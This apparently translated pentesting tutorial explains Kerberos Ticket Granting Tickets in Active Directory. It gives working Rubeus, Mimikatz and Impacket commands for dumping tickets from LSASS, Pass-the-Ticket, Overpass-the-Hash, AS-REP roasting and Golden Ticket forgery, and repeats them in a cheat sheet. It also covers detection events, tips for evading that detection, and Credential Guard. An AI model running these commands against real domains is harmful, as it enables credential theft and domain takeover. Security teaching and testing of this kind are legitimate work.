Kerberos TGT: What It Is, How It Works, and How to Use It

Kerberos TGT: How It Works, Dumps, and Attacks in Pentesting #

The TGT (Ticket Granting Ticket) is the heart of the Kerberos protocol : it's the ticket a user receives upon login, allowing them to request access to domain services without re-entering their password. For an attacker, the TGT is a primary target—whoever controls the TGT controls their identity.

What is TGT and what does it contain? #

The Ticket Granting Ticket is a Kerberos ticket issued by the KDC (Key Distribution Center) — typically the Domain Controller — in response to an authentication request (AS-REQ).

The TGT does not contain the user's credentials in clear text. The AS-REP response contains two distinct elements:

Validity: By default, a TGT in Active Directory lasts 10 hours and it's renewable for 7 days, but both values ​​are configurable via Kerberos Policy (MaxTicketAge e MaxRenewAge).

The client cannot read the contents of the TGT, but uses it as a “badge” to present to the KDC to request Service Tickets to the domain services.

TGT vs TGS — key differences #

Practical distinction: if you want to move laterally, you need the TGT (to make requests to the KDC); if you want to directly access a specific resource (SMB share, LDAP), you use the Service Ticket.

AS-REQ / AS-REP Flow #

CLIENT                            KDC (Domain Controller)
  │                                        │
  │──── AS-REQ ────────────────────────────►│
  │     (username + pre-auth cifrata        │
  │      con hash della password, se attiva)│
  │                                        │
  │◄─── AS-REP ────────────────────────────│
  │     (TGT cifrato con krbtgt hash +     │
  │      Session Key cifrata con hash utente)
  │                                        │
  │── [usa TGT per richiedere TGS] ──►     │

Pre-authentication: The client encrypts a timestamp with its key (derived from the password). The KDC verifies that the client actually possesses the account key before issuing the AS-REP.

What pre-auth protects:

• Blocks replay attacks (narrow validity window, about 5 minutes)
• Requires knowledge of the key before issuing the AS-REP
• Prevents unauthenticated users from obtaining crackable material offline

When pre-auth is disabled → anyone can request an AS-REP for that user without knowing the password → AS-REP Roasting. Classified by MITRE as T1558.004.

Ticket flags — what they mean #

The flags on a Kerberos ticket (visible in The red dump, klist, filet .kirbi/.ccache) indicate important properties:

Practice: a ticket without pre_authent is almost certainly the result of AS-REP Roasting. A ticket without forwardable It cannot be used in delegation scenarios.

TGT Dump — from memory and disk #

The TGT is stored in the LSASS process on Windows. With the right permissions, you can extract it with Rubeus or Mimikatz and reuse it on another host.

Rubeus — memory dump

# Lista tutti i ticket in memoria (utente corrente)
.\Rubeus.exe triage

# Dump di tutti i ticket (richiede privilegi elevati)
.\Rubeus.exe dump /nowrap

# Dump solo dei TGT
.\Rubeus.exe dump /service:krbtgt /nowrap

# Dump di un utente specifico
.\Rubeus.exe dump /user:administrator /nowrap

Mimikatz — two different commands, different scope

# sekurlsa::tickets — accede direttamente a LSASS, estrae ticket da TUTTE le sessioni
.\mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" "exit"

# kerberos::list — opera solo sulla sessione CORRENTE, non su LSASS
.\mimikatz.exe "kerberos::list /export" "exit"

Practical difference: sekurlsa::tickets it is more aggressive and comprehensive (all tickets in the system); kerberos::list is limited to the current session.

From disk — .ccache and .kirbi files

# Converti .kirbi (Windows) → .ccache (Linux/Impacket)
ticketConverter.py administrator.kirbi administrator.ccache

# Imposta la variabile d'ambiente per Impacket
export KRB5CCNAME=/path/to/administrator.ccache

# Verifica ticket valido
klist

Pass-the-Ticket — use another user's TGT #

You have a user's TGT (dumped from LSASS or requested via Overpass-the-Hash): you inject it into the current session and move around as that user without knowing their password.

# Rubeus — inietta il TGT
.\Rubeus.exe ptt /ticket:doIFuj...base64...==
.\Rubeus.exe ptt /ticket:administrator.kirbi

klist
dir \\DC01\C$

# Impacket (da Kali)
export KRB5CCNAME=/path/to/ticket.ccache

psexec.py -k -no-pass corp.local/administrator@DC01.corp.local
wmiexec.py -k -no-pass corp.local/administrator@DC01.corp.local
smbclient.py -k -no-pass //DC01.corp.local/C$ -U corp.local/administrator

nxc smb DC01.corp.local --use-kcache

The same principles apply when using WMIExec , PsExec , or Evil-WinRM — the only difference is the protocol used for remote execution, not how the ticket is presented to the KDC.

Detection: When you inject an existing TGT, the KDC doesn't necessarily emit a new Event 4768 because it's not creating a new ticket. However, when the ticket is used to request a Service Ticket, it generates Event ID 4769. A 4769 without a previous consistent 4768 on the same account/host is an anomaly that needs to be correlated. MITRE classifies this reuse as T1550.003 — Pass the Ticket.

Overpass-the-Hash / Pass-the-Key #

You have a user's NT hash (from Mimikatz or Pass-the-Hash ): you can use it to request a valid Kerberos TGT, converting the attack from NTLM to Kerberos.

• Overpass-the-Hash: use NT hash (RC4) → requires TGT with RC4 encryption
• Pass-the-Key: use AES key (128 or 256 bit) → more consistent with modern environments

# Overpass-the-Hash con Impacket (NT hash)
getTGT.py -hashes 'aad3b435b51404eeaad3b435b51404ee:NThash' corp.local/administrator

# Pass-the-Key con chiave AES256
getTGT.py -aesKey 'AES256key...' corp.local/administrator

export KRB5CCNAME=administrator.ccache
secretsdump.py -k -no-pass corp.local/administrator@DC01.corp.local

# Rubeus — Overpass-the-Hash
.\Rubeus.exe asktgt /user:administrator /rc4:NThash /ptt

# Con AES256 (più coerente su ambienti moderni)
.\Rubeus.exe asktgt /user:administrator /aes256:AESkey /ptt /opsec

# Processo figlio con il ticket (per lateral movement)
.\Rubeus.exe asktgt /user:administrator /rc4:NThash /createnetonly:C:\Windows\System32\cmd.exe

Note on /opsec: The flag reduces the differences between Rubeus-generated traffic and native Windows traffic, but is intended for AES256 traffic. Using it with RC4 almost always requires /force, which negates part of the advantage — RC4 in a modern domain is already a strong signal in itself.

On the DC, each TGT request generates Event 4768. The field TicketEncryptionType indicates the encryption used: 0x17 = RC4-HMAC, 0x11 = AES128, 0x12 = AES256. See 0x17 In a modern environment, it's a good indicator that the account, host, or fallback KDC still allows RC4 — Microsoft has published a Guide dedicated to the detection and removal of RC4 in Kerberos.

Unconstrained Delegation — privileged TGT collection #

A server configured with Unconstrained Delegation receives TGT forwardable from users who log in, and can store them to impersonate the user on other services. You can identify these domain servers with blood hound, searching for nodes with the attribute unconstraineddelegation a true.

Attack scenario:

1. Compromising a server with Unconstrained Delegation enabled
2. Monitor incoming TGTs when privileged users connect to them
3. Extract the TGTs and use them to log in as that user

# Monitora continuamente i TGT in arrivo
.\Rubeus.exe monitor /interval:1 /nowrap

# Raccolta una tantum
.\Rubeus.exe harvest /interval:1 /nowrap

# Dump di un TGT specifico trovato
.\Rubeus.exe dump /service:krbtgt /user:admin /nowrap

The TGT collected is typically forwardable, then reusable on other hosts for Pass-the-Ticket to LDAP, SMB, etc.

AS-REP Roasting — Obtaining crackable material without pre-authentication #

If an account has "Do not require Kerberos preauthentication" enabled, anyone can request an AS-REP for that account. The response contains an encrypted portion of the user's password, which can be cracked offline.

Important: The AS-REP contains a TGT, but it cannot be used directly for Pass-the-Ticket without the decrypted session key. You must first:

1. Cracking the password offline (from AS-REP encrypted material)
2. Use that password to get a normal TGT with pre-auth

The attack is covered in detail in AS-REP Roasting.

# Identifica account vulnerabili e richiedi materiale crackabile
GetNPUsers.py corp.local/ -dc-ip 10.10.10.5 -no-pass -usersfile users.txt -format hashcat
GetNPUsers.py corp.local/user:pass -dc-ip 10.10.10.5 -request -format hashcat

# Output: $krb5asrep$23$username@corp.local:...hash...
hashcat -m 18200 asrep_hashes.txt rockyou.txt

# Una volta crackata la password, ottieni un TGT valido
getTGT.py corp.local/username:plaintext_password

MITRE: T1558.004.

Golden Ticket — Forged TGT #

With the krbtgt hash (obtained from DCSync or NTDS dumps), you can forge arbitrary TGTs—for any user, with any group, with any expiration. More on this in Golden Ticket.

# Mimikatz — RC4
.\mimikatz.exe "kerberos::golden /user:Administrator /domain:corp.local /sid:S-1-5-21-... /krbtgt:NThash /id:500 /groups:512 /startoffset:0 /endin:600 /renewmax:10080 /ptt" "exit"

# Mimikatz — con chiave AES256 (raccomandato su ambienti moderni: RC4 è in dismissione e spicca nella telemetria)
.\mimikatz.exe "kerberos::golden /user:Administrator /domain:corp.local /sid:S-1-5-21-... /aes256:AES256keyHex /ptt" "exit"

# Impacket — RC4
ticketer.py -nthash NThashKrbtgt -domain-sid S-1-5-21-... -domain corp.local administrator

# Impacket — AES256
ticketer.py -aesKey AES256keyHex -domain-sid S-1-5-21-... -domain corp.local administrator

export KRB5CCNAME=administrator.ccache
psexec.py -k -no-pass corp.local/administrator@DC01.corp.local

Useful parameters for lifetime: /startoffset (initial offset), /endin (duration), /renewmax (maximum renewals) — all in minutes. Useful for avoiding generating a ticket with abnormal validity.

Important detection signal: by default Mimikatz signs the Golden Ticket for 10 yearsThis value stands out greatly in any subsequent TGS request compared to the actual domain policy (10 hours). Set /endin e /renewmax on values ​​consistent with the domain policy reduces (but does not eliminate) this anomaly.

Persistence and Invalidation:

• The Golden Ticket remains valid until the krbtgt password is reset. twice (DC keeps the previous password for validation)
• You need to wait at least the maximum ticket lifetime configured in the domain (default 10 hours) between the two resets, and check the replication between all domain controllers

MITRE: T1558.001.

TGT and royal privileges #

Possessing a TGT does not automatically make you a Domain Admin . The ticket allows you to operate with the identity and privileges associated with the impersonated account—actual access depends on groups, ACLs, and service permissions. The same principle applies to related attacks like Shadow Credentials or RBCD : obtaining a ticket does not equate to gaining privileges the account didn't already have.

Defenders can validate a ticket's PAC against real data in AD: impossible groups, missing PAC buffers, or metadata that doesn't match LDAP are solid indicators of a forged ticket, when services implement this verification.

Credential Guard and LSA Protection #

Credential Guard (Windows 10/11, Server 2016+) isolates Kerberos secrets in a protected container. When enabled:

• Tickets cannot be dumped from LSASS using classic Mimikatz/Rubeus methods.
• Some attacks like Pass-the-Ticket can still work if executed in the same local context

LSA Protection disables direct access to LSASS from unprotected processes, further blocking ticket dumps, NTLM, and session keys.

# Verifica se Credential Guard è abilitato
Get-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Lsa" -Name LsaCfgFlags

The Golden Ticket remains effective even with Credential Guard enabled, because it does not require access to LSASS to forge — only the krbtgt hash obtained elsewhere (e.g., DCSync).

Realistic detection #

Helpful correlations:

• Account without pre-auth + 4768 multiple requests in seconds → AS-REP Roasting possible
• 4769 without previous 4768 on the same host/user → Pass-the-Ticket possible
• Domain Admin rare logon followed by TGS requests to critical services → possible Golden Ticket

Practical Kerberos troubleshooting #

# Debug Kerberos verboso
export KRB5_TRACE=/dev/stdout
psexec.py -k -no-pass ...

# Verifica sincronizzazione oraria
ntpdate -q 10.10.10.5

MITRE ATT&CK Techniques #

Cheat sheet #

=== DUMP TGT ===
Rubeus:                       .\Rubeus.exe dump /service:krbtgt /nowrap
Mimikatz (LSASS, tutti):      "sekurlsa::tickets /export"
Mimikatz (sessione corrente): "kerberos::list /export"
Converti:                     ticketConverter.py ticket.kirbi ticket.ccache

=== PASS-THE-TICKET ===
Windows:    .\Rubeus.exe ptt /ticket:base64==  oppure  /ticket:file.kirbi
Linux:      export KRB5CCNAME=ticket.ccache → psexec.py -k -no-pass ...

=== OVERPASS-THE-HASH / PASS-THE-KEY ===
RC4:        getTGT.py -hashes ':NThash' corp.local/user
AES256:     getTGT.py -aesKey AES256key corp.local/user
Rubeus RC4: .\Rubeus.exe asktgt /user:X /rc4:NThash /ptt
Rubeus AES: .\Rubeus.exe asktgt /user:X /aes256:AESkey /ptt /opsec

=== UNCONSTRAINED DELEGATION ===
Monitor:    .\Rubeus.exe monitor /interval:1 /nowrap
Harvest:    .\Rubeus.exe harvest /interval:1 /nowrap

=== AS-REP ROASTING ===
Enumera:    GetNPUsers.py corp.local/ -no-pass -usersfile users.txt -format hashcat
Cracka:     hashcat -m 18200 hashes.txt rockyou.txt
Post-crack: getTGT.py corp.local/username:password

=== GOLDEN TICKET ===
Mimikatz RC4:  kerberos::golden /user:X /domain:corp /sid:S-1-5-21-... /krbtgt:hash /ptt
Mimikatz AES:  kerberos::golden /user:X /domain:corp /sid:... /aes256:AESkey /ptt
Impacket RC4:  ticketer.py -nthash hash -domain-sid S-1-5-21-... -domain corp.local admin
Impacket AES:  ticketer.py -aesKey AESkey -domain-sid S-1-5-21-... -domain corp.local admin

=== DETECTION ===
Dump LSASS:            Sysmon Event 10 + GrantedAccess anomalo
AS-REP Roasting:       4768 senza pre-auth per account insoliti
Overpass-the-Hash:     4768 + encryption type 0x17 (RC4) su ambienti moderni
Pass-the-Ticket:       4769 senza 4768 precedente coerente
Golden Ticket:         4769 + lifetime anomalo, gruppi/PAC incoerenti con LDAP

=== TROUBLESHOOTING ===
Skew orario:            ntpdate -q DC
KRB5CCNAME non letto:   export KRB5CCNAME=/path/assoluto/ticket.ccache
RC4 disabilitato:       usa /aes256 o -aesKey
SPN non trovato:        usa FQDN, non IP

Other related articles:

• Kerber-roasting
• DPAPI
• NTLM Relay

Exclusive use in authorized environments (HTB, HackLab, private labs, authorized pentests).